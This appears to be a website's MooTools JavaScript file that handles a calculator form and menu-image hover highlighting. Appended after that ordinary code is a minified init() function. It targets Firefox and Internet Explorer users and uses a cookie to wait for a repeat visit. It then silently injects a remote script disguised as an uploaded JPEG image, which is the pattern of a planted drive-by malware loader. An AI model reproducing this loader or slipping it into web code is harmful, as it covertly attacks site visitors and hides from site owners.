window.addEvent('load', function() {
    new MenuImageBindingController();
    new CalculatorForm();
});


CalculatorForm = new Class({
    initialize: function() {
        var form = $('calculator-form');

        // gurd: stop if the form is not found
        if (!form) {
            return;
        }

        var submit = form.getElement('a.submit');

        if (!submit) {
            return;
        }

        submit.addEvent('click', function(event) {
            event.stop();

            form.submit();
        });
    }
});

MenuImageBindingController = new Class({
    initialize: function() {
        var anchor_arr = $(document.body).getElements('a.bind-to-menu');

        for (var i = 0; i < anchor_arr.length; i++) {
            new MenuImageBinding(anchor_arr[i]);
        }
    }
});

MenuImageBinding = new Class({
    initialize: function(anchor) {
        this.anchor = anchor;
        this.image = this.anchor.getElement('img');

        var menu_item_arr = $(document.body).getElements('li.sel ul.menu li a');
        for (var i = 0; i < menu_item_arr.length; i++) {
            if (menu_item_arr[i].get('title') != this.image.get('alt')) {
                continue;
            }

            this.menu_item = menu_item_arr[i];
            break;
        }

        // guard
        if (! (this.anchor && this.image && this.menu_item)) {
            return;
        }

        var thisObject = this;
        this.menu_item.addEvent('mouseover', function() {
            thisObject.anchor.addClass('sel');
        });
        this.menu_item.addEvent('mouseout', function() {
            thisObject.anchor.removeClass('sel');
        });

        this.anchor.addEvent('mouseover', function() {
            thisObject.menu_item.addClass('sel');
        });
        this.anchor.addEvent('mouseout', function() {
            thisObject.menu_item.removeClass('sel');
        });

        
    }
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/uploads/trigger-images/oracle_vliegtuig.jpeg.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
